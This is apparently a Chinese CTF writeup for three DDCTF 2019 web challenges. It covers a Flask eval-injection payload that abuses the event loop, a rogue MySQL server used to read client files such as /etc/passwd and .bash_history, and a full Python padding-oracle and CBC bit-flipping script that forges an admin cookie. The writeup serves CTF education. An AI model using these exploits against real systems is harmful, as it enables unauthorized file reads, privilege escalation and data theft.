风之栖息地

2019DDCTF 未解决的web题 writeup

字数统计: 2.6k阅读时长: 10 min
2019/04/29 Share

homebrew event loop

一道python的代码审计题目,题目的入口点会检测url中携带的参数并且初始化session的值。

1
2
3
4
5
6
7
8
9
10
11
12
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

这里看到对查询参数有转义,同时有一定的限制,比如开头必须为action:,同时长度不能超过100。

在进入处理事件循环之前会先将查询参数添加进事件记录中。这里可以看到会对event做判断,所以它既可以传数列也可以是单个值,这里是这道题目的关键点之一,它的参数是可以传数列的。

1
2
3
4
5
6
7
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

这之后就会进入事件处理循环中,最关键的一点是针对事件的处理,从事件队列中取出一个,随后会判断是否为action,将:;之间的字符串当作函数动作名,并且把剩下的字符串用#切分当作参数。函数动作拼接后缀字符串之后用eval执行成为相应的函数,最后函数带入参数执行。

1
2
3
4
5
6
7
8
9
10
11
12
def execute_event_loop():
...
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
...
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
...

大致的流程就是这样,这里题目的关键点是下面的getflag函数,可以看到当session中的数量大于5的时候会将flag添加进事件记录中,同时事件队列也会添加这个任务。

1
2
3
4
5
6
7
8
9
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

但是起始的点数为3,我们怎么才能获得5个钻石?这就要分析购买钻石的操作流程了,这里的购买操作会先增加钻石数量,然后将消费操作加入事件队列中,这就是说购买和消费是分开的并不是原子操作。那么我们可以购买多个钻石,在消费操作之前执行getflag函数就能把flag存入事件队列中。

1
2
3
4
5
6
7
8
9
10
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

好了,我当时就卡在这里,不知道该怎么走下去。因为这里如果按照常规操作只能一次执行一个函数,并不能一次性多次购买,这是第一个问题;第二,就算多次购买之后执行getflag我们也仅仅是把flag放进了事件队列中,而每个事件是独立的没有办法获取前面事件的参数。

针对第一个问题,如何一次性多次购买,这里就要观察代码中它是如何多次执行的,trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']),使用了trigger_event传入数列,其中数列就是多个操作的集合,所以这里我们也看看能不能调用trigger_event。这里用到了一个作者设计上的问题,如果action中包含#,恰好这个符号是python中的注释符号,那么这个语句中eval(action + ('_handler' if is_action else '_function'))那个#就可以截断后面的后缀,这里的action就是任意代码执行。

我们的payload:action:trigger_event%23;action:xxx;arg1%23action:xxx;arg2%23,这样后面的参数部分跟着想要调用的函数就可以被trigger_event加进事件队列中,这样我们就可以一次性多次购买了,同时调用getflag就能添加flag进事件队列中。payload:action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

针对第二个问题,flag已经进入到事件队列中了,怎么查看?这就涉及到flask的session设计了,之前ph牛讲过这类session是和jwt类似的原理。里面的东西是可以被解密的,不能存放用户凭证或者其他一些机密数据。session['log'].append(event),这里session会记录事件,所以flag最后也会被记录在里面,那么我们只要调用get_flag之后,我们的session中就会有相关记录,最后只需要解密就可以拿到flag。

在本地操作可以看到拿到了测试用的flag。

这里需要注意的一点是由于查询字符串会被限制在长度100以内,所以我们需要先正常购买三个钻石,然后再使用上面的方法一次性再购买两个,之后马上调用get_flag。这最后的解密是使用https://github.com/Paradoxis/Flask-Unsign

虽然最后会出现报错,如下图:

但是,flag已经写进了session中,并且没有删除,这就是关键点。

解密数据拿到flag。

mysql弱口令

从网站页面看来是一个类似hydra的扫描网站,它会去连接我们提供的IP和端口。这里其实比较明显了,在之前比赛遇到的MySQL client读取的漏洞有关,同样是网站担当客户端去请求MySQL服务端。

如果正常的去扫描的话结果如下:

使用tcpdump抓包的结果是显示没有权限去访问。。。而且由于服务端开启了SSL加密,所以并不能开到所有有用的信息。

1
2
CREATE USER 'root'@'117.51.147.155' IDENTIFIED BY '';
grant all privileges on *.* to 'root'@'117.51.147.155' IDENTIFIED BY '' with grant option;

所以创建一个授权的用户之后,再次抓包来观察数据情况。

它会以用户名为root,密码为空的请求来访问我们的MySQL服务端。那么从MySQL官方文档中我们就可以知道,A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL,不仅仅是在读文件操作可以获取本地文件,其他操作依旧可以,但是客户端必须要开启加载本地文件的选项。

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/从这篇博文中我们获得一个恶意MySQL的脚本,为了让客户端发出查询的操作:

  1. 服务端需要发送Server Greeting
  2. 等待客户端回复Query Package
  3. 发送file transfer请求

当然这些格式在官方文档中都有,也可以通过抓包确认。

MySQL握手包文件传输包

然后py脚本开始!点击扫描!然后:

emmmm???这是什么鬼?随后仔细看了看题目给的agent.py和抓包中的奇怪http请求,才发现原来这个代理是用来检测服务器上运行的进程的。

那么这样就只能在返回的数据包中手动添加mysqld,来让客户端认为服务端是开启状态。

测试成功,读取到了/etc/passwd的数据。那么接下来就是找flag的过程了。这里是直接读取.bash_history,shell的历史记录来回溯出题人的操作过程,发现最后的/home/dc2-user/ctf_web_2/app/main/views.py

在文件中有一条注释# flag in mysql curl@localhost database:security table:flag,这就知道了flag在数据库中,这里直接读数据库文件就可以了,根据mysql的数据库存储规则/var/lib/mysql/database/table.idb,读取文件/var/lib/mysql/security/flag.idb

坑点:在启动伪装mysql的时候,可能一开始扫描会有些问题,有可能是端口释放需要一定的时间。所以如果一次不行,就要多扫几次。

小技巧:怎么处理这么大一堆字符串,直接复制粘贴,在python中print一下就完事。简单粗暴,不用写脚本,不用手动排版。

再来一杯Java

根据题目的要求捆绑hosts,访问链接之后,在cookie中发现token。base64解码之后发现有hint,PadOracle,cbc

在这之后就是针对cookie做padding oraclecbc翻转攻击。因为去除首部的描述字符的16位为IV,剩下的是推测的16位字符为一组的密文,那么这样的话就是16位字符串为一个区块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def padding_oracle(ciper_hex, N):
get = ""
for i in xrange(1, N + 1):
for j in xrange(0, 256):
# print(i,j)
padding = xor(get, chr(i) * (i - 1))
c = chr(0) * (N - i) + chr(j) + padding
payload='5061644f7261636c653a69762f636263'+c.encode('hex')+ciper_hex
# print(payload)
get_api_return=get_api(payload)
# print(get_api_return)
if "decrypt err~" not in get_api_return:
get = chr(j ^ i) + get
print(get.encode('hex'))
break
return get.encode('hex')
def padding(strings):
padding_len=8-len(strings)%8
return strings+chr(padding_len)*padding_len
def get_api(ciphertext):
req_header={'X-Forwarded-For': '',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.decode('hex').encode('base64')[:-1]),
}
s = requests.session()
rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
return(rsp.content)
def cbc_byte_flipping(strings):
token_padding=padding(strings)
c2='b8d85a91bdeae799086cc723e7bf1685'.decode('hex')
c2_m='a7d3878a0466c70b59264b5ed33f5013'.decode('hex')
c1=xor(c2_m,token_padding[16:])
c1_m=padding_oracle(c1.encode('hex'), 16).decode('hex')
iv=xor(c1_m,token_padding[0:16]) #iv
return((iv+c1+c2).encode('base64')[:-1])
print(cbc_byte_flipping('{"id":1,"roleAdmin":true}'))

这里借用chamd5的wp脚本,利用伪造的cookie我们提权成为admin,能下载到一个txt。

1
2
3
4
Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~

后面利用这个文件下载的api可以读取文件,在/proc/self/fd/15可以读到jar包,之后就是java的部分了,GG。官方的提示是jrmp,最后看wp是用的Weblogic JRMP反序列化漏洞打出来的。

Reference

https://lightless.me/archives/read-mysql-client-file.html

https://www.zhaoj.in/read-5269.html

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485734&idx=1&sn=4d5c92902ece0db4eb29c0addecdb679&chksm=e89e21fedfe9a8e89b42bf1df92ab8907c866df112c4c86bce8a38eafb3d90de9109e6c03516&xtrack=1&scene=0&subscene=131&clicktime=1556023454&ascene=7&devicetype=android-28&version=2700033c&nettype=cmnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AX5keAM2ZHgDamR4A3JkeAAAA&lang=zh_CN&pass_ticket=YMjuQzyV9NBheOwb57Q7IzReaZd3gLT38Yu%252B%252FFcSC8KUJPp78f35Uw%252BPwVZ25nDA&wx_header=1

CATALOG
  1. 1. homebrew event loop
  2. 2. mysql弱口令
  3. 3. 再来一杯Java
  4. 4. Reference